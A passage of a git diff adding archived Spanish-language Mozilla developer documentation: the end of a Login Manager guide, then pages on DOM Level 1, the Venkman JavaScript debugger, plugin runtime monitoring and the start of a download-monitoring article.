+<p>This would correspond to a login on <span class="nowiki">http://www.example.com</span> when the server sends a reply such as:</p>
+
+<pre class="eval"> HTTP/1.0 401 Authorization Required
+ Server: Apache/1.3.27
+ WWW-Authenticate: Basic realm="ExampleCo Login"
+</pre>
+
+<h4 id="Creating_a_local_extension_login" name="Creating_a_local_extension_login">Creating a local extension login</h4>
+
+<pre class="eval"> <span class="nowiki">var extLoginInfo = new nsLoginInfo('chrome://firefoo',
+                      'User Registration', null,
+                      'bob', '123sEcReT', null, null);</span>
+</pre>
+
+<p>The Login Manager treats this as if it was a web site login. You should use your extension's <a class="external" rel="freelink">chrome://</a> URL to prevent conflicts with other extensions, and a realm string which briefly denotes the login's purpose.</p>
+
+<h3 id="Almacenar_una_contrase.C3.B1a" name="Almacenar_una_contrase.C3.B1a">Almacenar una contraseña</h3>
+
+<p>Para almacenar una contraseña en el Gestor de Accesos, primero necesitas crear un objeto <code><a href="es/NsILoginInfo">nsILoginInfo</a></code> como se define arriba. Entonces simplemente necesitas llamar al método <code><a href="es/NsILoginManager">nsILoginManager</a></code> <code><a href="es/NsILoginManager#addLogin.28.29">addLogin()</a></code>.</p>
+
+<pre class="eval"> myLoginManager.addLogin(loginInfo);
+</pre>
+
+<p>Esto provocará una excepción si tanto el parámetro httprealm como el parámetro formSubmitURL son <code>NULL</code>. Uno debe ser especificado cuando se almacena una contraseña. Los parámetros hostname, username y password también son obligatorios.</p>
+
+<h3 id="Retrieving_a_password" name="Retrieving_a_password">Retrieving a password</h3>
+
+<p>Retrieving a password from the Login Manager is slightly more difficult. In order to locate a password, the hostname, formSubmitURL and httprealm must <strong>match exactly</strong> what is stored for the password to be found. The only exception is that if the stored formSubmitURL is blank, in which case the formSubmitURL parameter is ignored. Note that the hostname and formSubmitURL arguments should not include the path from the full URL. The example below should serve as a starting point for matching form logins:</p>
+
+<pre>var hostname = 'http://www.example.com';
+var formSubmitURL = 'http://www.example.com';  // not http://www.example.com/foo/auth.cgi
+var httprealm = null;
+var username = 'user';
+var password;
+
+try {
+   // Get Login Manager
+   var myLoginManager = Components.classes["@mozilla.org/login-manager;1"]
+                         .getService(Components.interfaces.nsILoginManager);
+
+   // Find users for the given parameters
+   var logins = myLoginManager.findLogins({}, hostname, formSubmitURL, httprealm);
+
+   // Find user from returned array of nsILoginInfo objects
+   for (var i = 0; i &lt; logins.length; i++) {
+      if (logins[i].username == username) {
+         password = logins[i].password;
+         break;
+      }
+   }
+}
+catch(ex) {
+   // This will only happen if there is no nsILoginManager component class
+}
+</pre>
+
+<p>Note that the user will be prompted for their master password if they have chosen to set one to secure their passwords.</p>
+
+<h3 id="Removing_a_password" name="Removing_a_password">Removing a password</h3>
+
+<p>Removing a password is simple:</p>
+
+<pre class="eval"> myLoginManager.removeLogin(loginInfo);
+</pre>
+
+<p>When removing a password the specified <code><a href="es/NsILoginInfo">nsILoginInfo</a></code> object must <strong>exactly match</strong> what was stored or an exception will be thrown. This includes the password attribute. Here's an example on how to remove the password without actually knowing what the password is:</p>
+
+<pre>// example values
+var hostname = 'http://www.example.com';
+var formSubmitURL = 'http://www.example.com';
+var httprealm = null;
+var username = 'user';
+
+try {
+   // Get Login Manager
+   var passwordManager = Components.classes["@mozilla.org/login-manager;1"]
+                         .getService(Components.interfaces.nsILoginManager);
+
+   // Find users for this extension
+   var logins = passwordManager.findLogins({}, hostname, formSubmitURL, httprealm);
+
+   for (var i = 0; i &lt; logins.length; i++) {
+      if (logins[i].username == username) {
+         passwordManager.removeLogin(logins[i]);
+         break;
+      }
+   }
+}
+catch(ex) {
+   // This will only happen if there is no nsILoginManager component class
+}
+</pre>
+
+<h3 id="Changing_stored_login_information" name="Changing_stored_login_information">Changing stored login information</h3>
+
+<p>Changing a password is rather simple. Since all this does is make a <code><a href="es/NsILoginManager#removeLogin.28.29">removeLogin()</a></code> call followed by an <code><a href="es/NsILoginManager#addLogin.28.29">addLogin()</a></code> call, it has the same caveats as both of them: namely that the oldLogin must match an existing login exactly (see above) and that the newLogin attributes must be set correctly.:</p>
+
+<pre>myLoginManager.modifyLogin(oldLogin, newLogin);</pre>
+
+<h3 id="Depuraci.C3.B3n" name="Depuraci.C3.B3n">Depuración</h3>
+
+<p>La implementación del gestor de accesos tiene la capacidad de enviar mensajes de depuración a la Consola de Errores, lo que puede provocar algo de visibilidad en lo que se está haciendo. Para habilitar la depuración de accesos, véase <a class="external" href="http://wiki.mozilla.org/Firefox:Password_Manager_Debugging" rel="freelink">http://wiki.mozilla.org/Firefox:Pass...ager_Debugging</a>.</p>
+
+<h3 id="Soporte_de_versiones_anteriores_de_Firefox" name="Soporte_de_versiones_anteriores_de_Firefox">Soporte de versiones anteriores de Firefox</h3>
+
+<p>Si quieres implementar tu extensión para que soporte Firefox 3 y versiones anteriores será necesario implementar tanto el componente <code><a href="es/NsILoginManager">nsILoginManager</a></code> como el componente <code><a href="es/NsIPasswordManager">nsIPasswordManager</a></code>. Un método simple para hacer ésto se expone a continuación:</p>
+
+<pre>if ("@mozilla.org/passwordmanager;1" in Components.classes) {
+   // El gestor de contraseñas existe así que no es Firefox 3 (puede ser Firefox 2, Netscape, SeaMonkey, etc).
+   // Código del gestor de contraseñas
+}
+else if ("@mozilla.org/login-manager;1" in Components.classes) {
+   // El gestor de accesos existe así que es Firefox 3
+   // Código del gestor de accesos
+}
+</pre>
diff --git a/files/es/uso_del_núcleo_del_nivel_1_del_dom/index.html b/files/es/uso_del_núcleo_del_nivel_1_del_dom/index.html
new file mode 100644
index 0000000000..1e5b13b9a6
--- /dev/null
+++ b/files/es/uso_del_núcleo_del_nivel_1_del_dom/index.html
@@ -0,0 +1,92 @@
+---
+title: Uso del núcleo del nivel 1 del DOM
+slug: Uso_del_núcleo_del_nivel_1_del_DOM
+tags:
+  - DOM
+  - Todas_las_Categorías
+---
+<p>El núcleo del DOM nivel 1 del W3C es un potente modelo de objetos para cambiar el árbol de contenidos de los documentos. Está soportado en Mozilla (en el cual está basado Netscape 6) y (la mayor parte de) MSIE 5.0 para Windows. Es una potente base para la futura programación de la web.</p>
+
+<h3 id=".C2.BFQu.C3.A9_es_un_.C3.A1rbol_de_contenidos.3F" name=".C2.BFQu.C3.A9_es_un_.C3.A1rbol_de_contenidos.3F">¿Qué es un árbol de contenidos?</h3>
+
+<p>Muchos de los que trabajan con HTML pueden pensar que HTML es algo plano, un montón de texto con etiquetas en medio. Sin embargo es mucho más que eso. Todo documento HTML (y por extensión todo documento SGML o XML) posee una estructura en árbol. Por ejemplo, el siguiente documento y la estructura en árbol son similares (aunque no idénticas; ver anotaciones en <a href="es/The_DOM_and_JavaScript">espacios en blanco en DOM</a>):</p>
+
+<pre class="eval">&lt;html&gt;
+&lt;head&gt;
+  &lt;title&gt;Mi documento&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1&gt;Cabecera&lt;/h1&gt;
+  &lt;p&gt;Párrafo&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+
+
+<p>Cuando analiza un documento, Mozilla construye un árbol de contenidos y luego lo utiliza para mostrar el documento.</p>
+
+<p>Los términos usados para describir los árboles show up frecuentemente en el núcleo del DOM nivel 1. Cada caja dibujada en el árbol de arriba es un nodo en el árbol. La línea sobre cada nodo expresa una relación padre-hijo: el nodo superior es el padre y el inferior, el hijo. Dos hijos del mismo padre son por tanto hermanos. Similarmente, uno puede referirse a sus ancestros y descendientes (incluso a los nodos primos, aunque es más complicado de explicar).</p>
+
+<h3 id=".C2.BFQu.C3.A9_me_permite_hacer_el_Nivel_1_del_DOM.3F" name=".C2.BFQu.C3.A9_me_permite_hacer_el_Nivel_1_del_DOM.3F">¿Qué me permite hacer el Nivel 1 del DOM?</h3>
+
+<p>El nivel 1 del DOM del W3C te permite cambiar el árbol de contenidos<em>como te de la gana</em> . Es lo suficientemente poderoso como para construir cualquier documento HTML a partir de la nada. Permite a los desarrolladores cambiar cualquier cosa en el documento desde un script, en cualquier momento. La forma más fácil para desarrolladores de páginas web para cambiar el DOM dinámicamente es usando JavaScript. En JavaScript, el documento es accesible en el mismo modo que lo era en los viejos navegadores: desde la propiedad global <code>document</code>. El objeto <code>document</code> implementa el <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#i-Document">interfaz de documento</a> del nivel 1 de la especificación para el DOM del W3C.</p>
+
+<h3 id="Un_ejemplo_simple" name="Un_ejemplo_simple">Un ejemplo simple</h3>
+
+<p>Supongamos que el autor del documento de arriba coge y cambia los contenidos de la cabecera y escribe dos párrafos en lugar de uno. El siguiente script debería hacer lo mismo (Resaltado de sintaxis: <code><span class="highlightred">palabras reservadas Javascript</span></code>, <code><span class="highlightblue">métodos y propiedades DOM</span></code> predefinidos y <code><span class="highlightgreen">comentarios en Javascript</span></code>):</p>
+
+<pre class="eval"><span class="highlightgreen">
+// document.getElementsByTagName("H1") devuelve un NodeList de los
+// elementos H1 del documento; el primer elemento tiene índice 0:
+</span>
+<span class="highlightred">var</span> header = <span class="highlightblue">document.getElementsByTagName</span>("H1").<span class="highlightblue">item</span>(0);
+<span class="highlightgreen">
+// La propiedad firstChild de la cabecera contiene un nodo de texto y su propiedad
+// data contiene el texto del nodo:
+</span>
+header.<span class="highlightblue">firstChild.data</span> = "Un documento dinámico";
+<span class="highlightgreen">
+// Ahora la cabecera es "Un documento dinámico".
+// Obtenemos el primer elemento P del documento de la misma forma:
+</span>
+<span class="highlightred">var</span> para = <span class="highlightblue">document.getElementsByTagName</span>("P").<span class="highlightblue">item</span>(0);
+<span class="highlightgreen">
+// y cambiamos su texto:
+</span>
+para.<span class="highlightblue">firstChild.data = "Este es el primer párrafo.";</span>
+<span class="highlightgreen">
+// creamos un nodo de texto para el segundo párrafo
+</span>
+<span class="highlightred">var</span> newText = <span class="highlightblue">document.createTextNode</span>("This is the second paragraph.");
+<span class="highlightgreen">
+// creamos un nuevo elemento que sea el segundo párrafo
+</span>
+<span class="highlightred">var</span> newElement = <span class="highlightblue">document.createElement</span>("P");
+<span class="highlightgreen">
+// ponemos el texto en el párrafo
+</span>
+newElement.<span class="highlightblue">appendChild</span>(newText);
+<span class="highlightgreen">
+// y ponemos el párrafo al final del documento anexándolo
+// a la etiqueta BODY (que es el padre del párrafo
+</span>
+para.<span class="highlightblue">parentNode.appendChild</span>(newElement);
+</pre>
+
+<p>Puedes ver este script en acción en el <a class="external" href="http://www.mozilla.org/docs/dom/technote/intro/example.html">ejemplo completo</a>.</p>
+
+<h3 id=".C2.BFC.C3.B3mo_puedo_aprender_m.C3.A1s.3F" name=".C2.BFC.C3.B3mo_puedo_aprender_m.C3.A1s.3F">¿Cómo puedo aprender más?</h3>
+
+<p>Una vez familiarizado con los conceptos básicos del DOM, puedes leer el documento que explica los <a href="es/Traversing_an_HTML_table_with_JavaScript_and_DOM_Interfaces">métodos fundamentales del DOM nivel 1</a>. Es lo que sigue a este documento.</p>
+
+<p>Véase también la <a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html">especificación del núcleo de DOM nivel 1</a> del W3C. Es una especificación razonablemente clara a pesar de ser una especificación formal. Lo más útil para los desarrolladores es la descripción de los diferentes objetos del DOM y todas sus propiedades y métodos. Véase también nuestra <a href="es/DOM">otra documentación del DOM</a>.</p>
+
+<div class="originaldocinfo">
+<p><strong>Original Document Information</strong></p>
+
+<ul>
+ <li>Author(s): L. David Baron &lt;dbaron at dbaron dot org&gt;</li>
+ <li>Copyright Information: © 1998-2005 by individual mozilla.org contributors; content available under a <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html">Creative Commons license</a></li>
+</ul>
+</div>
diff --git a/files/es/venkman/index.html b/files/es/venkman/index.html
new file mode 100644
index 0000000000..eb55384f38
--- /dev/null
+++ b/files/es/venkman/index.html
@@ -0,0 +1,50 @@
+---
+title: Venkman
+slug: Venkman
+tags:
+  - Desarrollo_Web
+  - 'Desarrollo_Web:Herramientas'
+  - 'Extensiones:Herramientas'
+  - JavaScript
+  - 'JavaScript:Herramientas'
+  - Todas_las_Categorías
+  - Venkman
+  - extensiones
+translation_of: Archive/Mozilla/Venkman
+---
+<p> </p>
+<p><span><span>Venkman es el nombre en código del depurador de JavaScript de Mozilla.</span></span> <span><span>Su objetivo es proporcionar un poderoso entorno de depuración de <a>JavaScript</a> para navegadores basados ​​en Mozilla es decir, Firefox, Netscape 7.x/9.x y SeaMonkey.</span></span> <span><span>Ten en cuenta que no está incluido en los navegadores basados ​​en Gecko como K-Meleon, Netscape 8.x y Galeon.</span></span> <span><span>Venkman se ofrece como parte de la distribución de instalación de Mozilla desde octubre de 2001, así como un paquete de <a>extensiones</a> en formato <a>XPI</a>.</span></span></p>
+<table class="topicpage-table"> <tbody> <tr> <td> <h4 id="Documentación"><a href="/Special:Tags" title="Special:Tags"><span><span>Documentación</span></span></a></h4>
+<dl> <dt><a href="/en/Venkman_Introduction" title="en/Venkman_Introduction"><span><span>Introducción a Venkman</span></span></a></dt> <dd><small><span><span>Una visión general y algunos ejemplos prácticos del uso del depurador de JavaScript en el desarrollo web.</span></span></small></dd>
+</dl>
+<dl> <dt><a href="/en/Using_Breakpoints_in_Venkman" title="en/Using_Breakpoints_in_Venkman"><span><span>Utilizar puntos de rutura en Venkman</span></span></a></dt> <dd><small><span><span>Este artículo describe los puntos de interrupción en JavaScript y cómo utilizar Venkman para establecerlos y examinarlos.</span></span></small></dd>
+</dl>
+<dl> <dt><a class="external" href="http://www.svendtofte.com/code/learning_venkman/" title="http://www.svendtofte.com/code/learning_venkman/"><span><span>Conocer el depurador de JavaScript Venkman</span></span></a></dt> <dd><small><span><span>Escrito por Svend Tofte para los programadores de JavaScript que no están familiarizados con otras herramientas de depuración.</span></span></small></dd>
+</dl>
+<dl> <dt><a class="external" href="http://www.hacksrus.com/%7Eginda/venkman/faq/venkman-faq.html" title="http://www.hacksrus.com/%7Eginda/venkman/faq/venkman-faq.html"><span><span>Preguntas frecuentes sobre Venkman</span></span></a></dt> <dd><small><span><span>Respuestas a preguntas comunes sobre Venkman.</span></span></small></dd>
+</dl>
+<dl> <dt><a href="/en/Venkman_Internals" title="en/Venkman_Internals"><span><span>Información interna acerca de Venkman</span></span></a></dt> <dd><small><span><span>Notas sobre el código fuente de Venkman.</span></span></small></dd>
+</dl>
+<dl> <dt><a class="external" href="http://www.hacksrus.com/%7Eginda/venkman/" title="http://www.hacksrus.com/%7Eginda/venkman/"><span><span>Página de desarrollo de Venkman</span></span></a></dt> <dd><small><span><span>Novedades y lanzamientos anteriores.</span></span></small></dd>
+</dl><h4 id="Breve_historia"><span><span>Breve historia</span></span></h4>
+<p><span><span>En 1998, John Bandhauer fue el encargado de <a class="external" href="http://www.mozilla.org/js/jsd/jsd_in_js_for_mozilla.html" title="http://www.mozilla.org/js/jsd/jsd_in_js_for_mozilla.html">crear el depurador JavaScript de Netscape 4.x </a>.</span></span> <span><span>Con el fin de mantener un desarrollo modular, empezó por la creación de una API de depuración de JavaScript de nivel medio llamada <a class="external" href="http://www.mozilla.org/js/jsd/" title="http://www.mozilla.org/js/jsd/">js / jsd</a>.</span></span> <span><span>Esta API aumenta la <a>API de JavaScript</a> existente, proporcionando a los clientes un conjunto muy útil de funciones de depuración implementadas en C. John, a continuación, pasó a reflejar esa API en Java, y creó su interfaz multiplataforma, que con el tiempo daría lugar al<a class="external" href="http://web.archive.org/web/20040723082255/http://developer.netscape.com/software/jsdebug.html" title="http://web.archive.org/web/20040723082255/http://developer.netscape.com/software/jsdebug.html"> </a><a class="external" href="http://www.google.com/url?q=http%3A%2F%2Fweb.archive.org%2Fweb%2F20040723082255%2Fhttp%3A%2F%2Fdeveloper.netscape.com%2Fsoftware%2Fjsdebug.html&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNFq2BylVjd0PRbIMOxQ70h-ct0LrA">depurador de JavaScript para </a></span></span><a class="external" href="http://www.google.com/url?q=http%3A%2F%2Fweb.archive.org%2Fweb%2F20040723082255%2Fhttp%3A%2F%2Fdeveloper.netscape.com%2Fsoftware%2Fjsdebug.html&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNFq2BylVjd0PRbIMOxQ70h-ct0LrA">Netscape </a><span><span><a class="external" href="http://www.google.com/url?q=http%3A%2F%2Fweb.archive.org%2Fweb%2F20040723082255%2Fhttp%3A%2F%2Fdeveloper.netscape.com%2Fsoftware%2Fjsdebug.html&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNFq2BylVjd0PRbIMOxQ70h-ct0LrA"> 1.0 y 1.1</a><a class="external" href="http://web.archive.org/web/20040723082255/http://developer.netscape.com/software/jsdebug.html" title="http://web.archive.org/web/20040723082255/http://developer.netscape.com/software/jsdebug.html">.</a></span></span></p>
+<p><span><span>En abril de 2001, Robert Ginda comenzó a trabajar en un depurador de JavaScript para Mozilla, llamado Venkman.</span></span> <span><span>Venkman se basa en la parte de <em>js / jsd</em> del trabajo que realizó John en 1998, <a href="https://dxr.mozilla.org/mozilla-central/source/js/jsd/idl/jsdIDebuggerService.idl" rel="custom">exposing it</a> como un componente <a>XPCOM</a>.</span></span> <span><span>Esto permite que la <a href="https://dxr.mozilla.org/mozilla-central/source/extensions/venkman/resources/content/" rel="custom">user interface</a> se escriba en JavaScript y <a>XUL</a> , lo que permite que Venkman sea una <strong>totalmente multiplataforma.</strong></span></span></p></td> <td> <h4 id="Conseguir_Venkman"><span><span>Conseguir Venkman</span></span></h4> <dl> <dt><span><span>Firefox y Thunderbird</span></span></dt> <dd><small><span><span>La última versión de JavaScript Debugger está disponible en <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/216" title="https://addons.mozilla.org/en-US/firefox/addon/216">Complementos de Firefox</a> .</span></span></small></dd> </dl> <dl> <dt><span><span>Mozilla Suite y SeaMonkey</span></span></dt> <dd><small><span><span>Estas versiones vienen con Venkman preinstalado.</span></span> </small><small><span><span>En Windows es una opción de instalación, así que elige Avanzada.</span></span> </small><small><span><span>También está disponible en <a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/216" title="https://addons.mozilla.org/en-US/firefox/addon/216">Complementos de Firefox</a> como extensión.</span></span></small></dd> </dl> <dl> <dt><span><span>Nvu y KompoZer</span></span></dt> <dd><small><span><span>La versión <strong>0.9.84</strong> de la extensión de JavaScript Debugger está disponible en <a class="external" href="http://nvudev.com/download.php" title="http://nvudev.com/download.php">la página de descargas de Nvu</a> .</span></span> </small><small><span><span>Le animamos a usar con Firefox la última versión disponible <strong>0.9.87.1</strong> (o superior).</span></span></small></dd> </dl> <dl> <dt><span><span>Código fuente</span></span></dt> <dd><span><span>El código fuente para Venkman se puede encontrar en Mercurial en la siguiente URL: <a class="external" href="http://www.google.com/url?q=http%3A%2F%2Fhg.mozilla.org%2Fvenkman%2Fsummary&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNHMwRtoVVR-1Iw7PA15re0rhweBWA">http://hg.mozilla.org/venkman/summary</a></span></span></dd> </dl> <h4 id="Comunidad"><span><span>Comunidad</span></span></h4>
+<ul> <li><span><span>Ver foros de Mozilla...</span></span></li>
+</ul>
+<p><span><span></span></span></p><ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-apps-js-debugger"> como lista de correo</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.apps.js-debugger"> como grupo de noticias</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.apps.js-debugger/feeds"> como RSS</a></li>
+</ul><p></p>
+<ul> <li><span><span><a class=" external" href="http://www.hacksrus.com/~ginda/venkman/faq/venkman-faq.html#irc" title="http://www.hacksrus.com/~ginda/venkman/faq/venkman-faq.html#irc">IRC</a>: <a class="external"># Venkman</a> en irc.mozilla.org</span></span></li>
+</ul><h4 id="Informar_de_un_error_en_Venkman"><span><span>Informar de un error en Venkman</span></span></h4>
+<p><span><span>Si encuentras un problema con Venkman, por favor, sigue las directivas mencionadas en <a class="external" href="http://www.hacksrus.com/~ginda/venkman/faq/venkman-faq.html#report-bug" title="http://www.hacksrus.com/~ginda/venkman/faq/venkman-faq.html#report-bug">la sección 5.4 de preguntas frecuentes sobre Venkman</a> y, después, podrás informar de un error en el<a class="link-https" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Other%20Applications&amp;component=JavaScript%20Debugger" title="https://bugzilla.mozilla.org/enter_bug.cgi?product=Other%20Applications&amp;component=JavaScript%20Debugger"> </a><a class="external" href="http://www.google.com/url?q=https%3A%2F%2Fbugzilla.mozilla.org%2Fenter_bug.cgi%3Fproduct%3DOther%2520Applications%26component%3DJavaScript%2520Debugger&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNF3YzEPkyqytlr_FzIH8tkQmNtUwQ">componente depurador de JavaScript.</a></span></span></p><h4 id="Temas_relacionados"><span><span>Temas relacionados</span></span></h4>
+<dl> <dd><a href="/../es/JavaScript" title="../es/JavaScript">JavaScript</a>, <a href="../en/Web_Development" title="en/Web_Development">Desarrollo web</a>, <span><span><a>Desarrollo de Mozilla</a></span></span></dd>
+</dl></td> </tr> </tbody>
+</table>
+<div class="originaldocinfo"> <h2 id="Información_del_documento_original"><span><span>Información del documento original</span></span></h2>
+<ul> <li><span><span>Autor (es): Robert Ginda</span></span></li> <li><span><span>Otros colaboradores: Doctor Unclear</span></span></li> <li><span><span>Fecha de la última actualización: 13 de julio 2007</span></span></li> <li><span><span>Información sobre derechos de autor (copyright): algunas partes de este contenido son © 1998-2007 de los colaboradores a título individual de mozilla.org. El contenido está disponible bajo una licencia Creative Commons | <a class="external" href="http://www.mozilla.org/foundation/licensing/website-content.html" title="http://www.mozilla.org/foundation/licensing/website-content.html">Detalles</a> .</span></span></li>
+</ul></div>
+<p><span><span></span></span></p>
diff --git a/files/es/vigilancia_de_plugins/index.html b/files/es/vigilancia_de_plugins/index.html
new file mode 100644
index 0000000000..111ddef8c3
--- /dev/null
+++ b/files/es/vigilancia_de_plugins/index.html
@@ -0,0 +1,131 @@
+---
+title: Vigilancia de plugins
+slug: Vigilancia_de_plugins
+tags:
+  - Firefox 3
+  - Plugins
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Archive/Plugins/Monitoring_plugins
+---
+<p>{{ Fx_minversion_header(3) }}</p>
+
+<h3 id="Summary" name="Summary">Sumario</h3>
+
+<p>Un nuevo componente del sistema plugin está ahora disponible para medir cuanto le toma a los plugins (e.g., Adobe Flash) ejecutar sus tareas. Este componente reporta el tiempo de ejecución del plugin usando el <a href="/es/NsIObserverService" title="es/NsIObserverService">observador de servicios</a> a quién esté registrado para recibir las notificaciones. Este artículo discute como los desarrolladores pueden hacer uso de esta nueva característica.</p>
+
+<h3 id="Runtime_Data" name="Runtime_Data">Datos de tiempos de ejecución (Runtime Data)</h3>
+
+<p>La información de tiempo de ejecución reportada es siempre en fracciones de segundo. Debido a que el componente mide el tiempo reloj que le toma al plugin ejecutar las órdenes, el valor incluye ambos tiempos de CPU, el tiempo requerido para el proceso al igual que el tiempo para operaciones de disco. Por lo tanto es técnicamente incorrecto decir que el tiempo de ejecución es una medida del uso del CPU, sin embargo, es una buena representación of todos los recursos que están siendo consumidos por el plugin.</p>
+
+<h3 id="Usage" name="Usage">Uso</h3>
+
+<p>Para hacer uso del nuevo componente debes registrarte para recibir sus notificaciones de tiempo de ejecución usando el <a href="/es/NsIObserverService" title="es/NsIObserverService">observador de servicios</a>. El tema de la notificación es <code>experimental-notify-plugin-call</code>. Si eres nuevo con el observador de servicios de Mozilla, quizás quieras familiarizarte con este antes de proseguir. Puedes hallar más información sobre el observador de servicios <a href="/es/NsIObserverService" title="es/NsIObserverService">aquí</a> y <a href="/es/NsIObserver" title="es/NsIObserver">aquí</a>.</p>
+
+<p>Abajo hay un número de recortes de JavaScript que podrían ser útiles para desarrolladores que intenten usar esta característica:</p>
+
+<h4 id="Registration" name="Registration">Registro</h4>
+
+<p>Para registrarse en las notificaciones de tiempo de ejecución con el observador de servicios debes crear una clase con un método <code>observe</code> que reciba 3 parámetros (<code>tema</code><span style="font-family: monospace;">,</span> <code>asunto</code> y <code>dato</code>) así como un método <code>register</code> que contenga el siguiente código:</p>
+
+<p> </p>
+
+<pre class="eval">var observerService = Components.classes["@mozilla.org/observer-service;1"]
+                        .getService (Components.interfaces.nsIObserverService);
+observerService.addObserver(this, "experimental-notify-plugin-call", false);
+</pre>
+
+<p> </p>
+
+<p> </p>
+
+<h4 id="Observing" name="Observing">Observando</h4>
+
+<p>Como se discutió arriba, para especificar que quieres hacer cuando llegue una notificación tu clase debe tener un método <code>observe</code>, recibiendo 3 parámetros (<code>tema</code>, <code>asunto</code> y <code>dato</code>). El <code>asunto</code> contiene el asunto de la notificación - <code>experimental-notify-plugin-call</code> en este caso, el  <code>dato</code> es el tiempo de ejecución en milisegundos y el <code>tema</code> es siempre <code>null</code> y no debería ser usado.</p>
+
+<p>Aquí hay un ejemplo que muestra el tiempo de ejecución en una caja de alerta al usuario si el tiempo de ejecución excede el medio segundo:</p>
+
+<p> </p>
+
+<pre class="eval"> observe: function(subject, topic, data) {
+   if (topic == "experimental-notify-plugin-call" ) {
+     if (data &gt; 0.500) {
+       alert("Runtime is: " + data);
+     }
+   }
+ }
+</pre>
+
+<p> </p>
+
+<p><strong>NOTA: Este es solo un ejemplo simplificado y el uso de  <code>alert()</code> es muy moderado ya que el componente puede enviar cientos de notificaciones por segundo y puede provocar que el browser deje de funcionar si un número excesivo de cajas de alerta son desplegadas.</strong></p>
+
+<p>Además note que en el ejemplo de arriba una sentencia if se asegura que el tema de la notificación entrante es el correcto. Esto es muy útil en casos donde tu clase está registrada para recibir notificaciones para más de un tema con el observador de servicios.</p>
+
+<h4 id="Clean_Up" name="Clean_Up">Limpieza</h4>
+
+<p>Para eliminar el registro de tu clase con observador de servicios - cuando ya no quieras recibir más notificaciones de tiempos de ejecución - tu clase debe incluir un método <code>unregister</code> que contenga el siguiente código:</p>
+
+<p> </p>
+
+<pre class="eval">var observerService = Components.classes["@mozilla.org/observer-service;1"]
+                       .getService(Components.interfaces.nsIObserverService);
+observerService.removeObserver(this, "experimental-notify-plugin-call");
+</pre>
+
+<p> </p>
+
+<p> </p>
+
+<h4 id="Skeleton_Observer_Class" name="Skeleton_Observer_Class">Esqueleto (estructura) de clases para el observador</h4>
+
+<p>Abajo está un esqueleto de clase que podrías usar para recibir notificaciones de tiempos de ejecución:</p>
+
+<p> </p>
+
+<pre class="eval"> function PluginObserver() {
+   this.registered = false;
+   this.register();	//takes care of registering this class with observer services as an observer for plugin runtime notifications
+ }
+
+ PluginWatcherObserver.prototype = {
+   observe: function(subject, topic, data) {
+
+     if (topic == "experimental-notify-plugin-call") //In case your class is registered to listen to other topics
+       //This gets executed each time a runtime notification arrives
+       // --YOUR CODE GOES HERE--
+     }
+
+
+   },
+   //Takes care of registering the observer services for the "experimental-notify-plugin-call" topic
+   register: function() {
+     if (this.registered == false) { //This check prevents double registration -- something you want to avoid!!
+       var observerService = Components.classes["@mozilla.org/observer-service;1"]
+                                       .getService(Components.interfaces.nsIObserverService);
+       observerService.addObserver(this, "experimental-notify-plugin-call", false);
+       this.registered = true;
+     }
+   },
+   //Unregisters from the observer services
+   unregister: function() {
+     if (this.registered == true) {
+       var observerService = Components.classes["@mozilla.org/observer-service;1"]
+                                       .getService(Components.interfaces.nsIObserverService);
+       observerService.removeObserver(this, "experimental-notify-plugin-call");
+       this.registered = false;
+     }
+   }
+ }
+</pre>
+
+<p> </p>
+
+<h3 id="Additional_Resources" name="Additional_Resources">Recursos adicionales</h3>
+
+<p>Más información sobre el observador de servicios:</p>
+
+<ul>
+ <li><a href="/es/NsIObserverService" title="es/NsIObserverService">nsIObserverService</a></li>
+ <li><a href="/es/NsIObserver" title="es/NsIObserver">nsIObserver</a></li>
+</ul>
diff --git a/files/es/vigilar_descargas/index.html b/files/es/vigilar_descargas/index.html
new file mode 100644
index 0000000000..b2e1160452
--- /dev/null
+++ b/files/es/vigilar_descargas/index.html
@@ -0,0 +1,247 @@
+---
+title: Vigilar descargas
+slug: Vigilar_descargas
+tags:
+  - Download Manager
+  - Firefox 3
+translation_of: Archive/Mozilla/Monitoring_downloads
+---
+<p> Con Firefox 3 es más fácil que nunca vigilar el estado de las descargas. Aunque ya era posible hacer esto en versiones previas de Firefox, solo era posible hacer posible tener un observador en cada momento. Firefox 3 introduce un nuevo API que permite cualquier numero de observadores para las descargas.</p>
+<p>Este articulo demuestra como vigilar las descargas en Firefox 3, usando el administrador de descargas. Como un bonito añadido adicional, demuestra demás cómo usar el API <a href="/es/Storage" title="es/Storage">Storage</a> para crear instrucciones <a class="external" href="http://www.sqlite.org/">sqlite</a> en una base de datos. El resultado es una ventana que puedes abrir seleccionando "Registro de descargas" en el menú herramientas, que muestra todas las descargas que se han iniciado desde que se instaló la extensión. En la lista está el nombre del archivo, las horas de comienzo y final de la descarga, la velocidad de descarga y el estado de la descarga. Se incluye un título emergente que muestra la URL completa de la fuente del archivo.</p>
+<p>Descarga un ejemplo completo en <a class="external" href="/samples/extension-samples/DownloadLogger.zip" title="samples/extension-samples/DownloadLogger.zip">samples/extension-samples/DownloadLogger.zip</a></p>
+<h3 id="Configuraci.C3.B3n" name="Configuraci.C3.B3n">Configuración</h3>
+<p>Al cargar la extensión, se realizarán algunas tareas de limpieza rutinaria. En particular, necesita que exista una versión de la interfaz del administrador de descargas <code><a href="/es/nsIDownloadManager" title="es/nsIDownloadManager">nsIDownloadManager</a></code> y crea una base de datos en donde almacenará sus datos.</p>
+<p> </p>
+<pre class="eval"> onLoad: function() {
+   // código de inicialización
+   this.initialized = true;
+   this.strings = document.getElementById("downloadlogger-strings");
+
+   this.dlMgr = Components.classes["@mozilla.org/download-manager;1"]
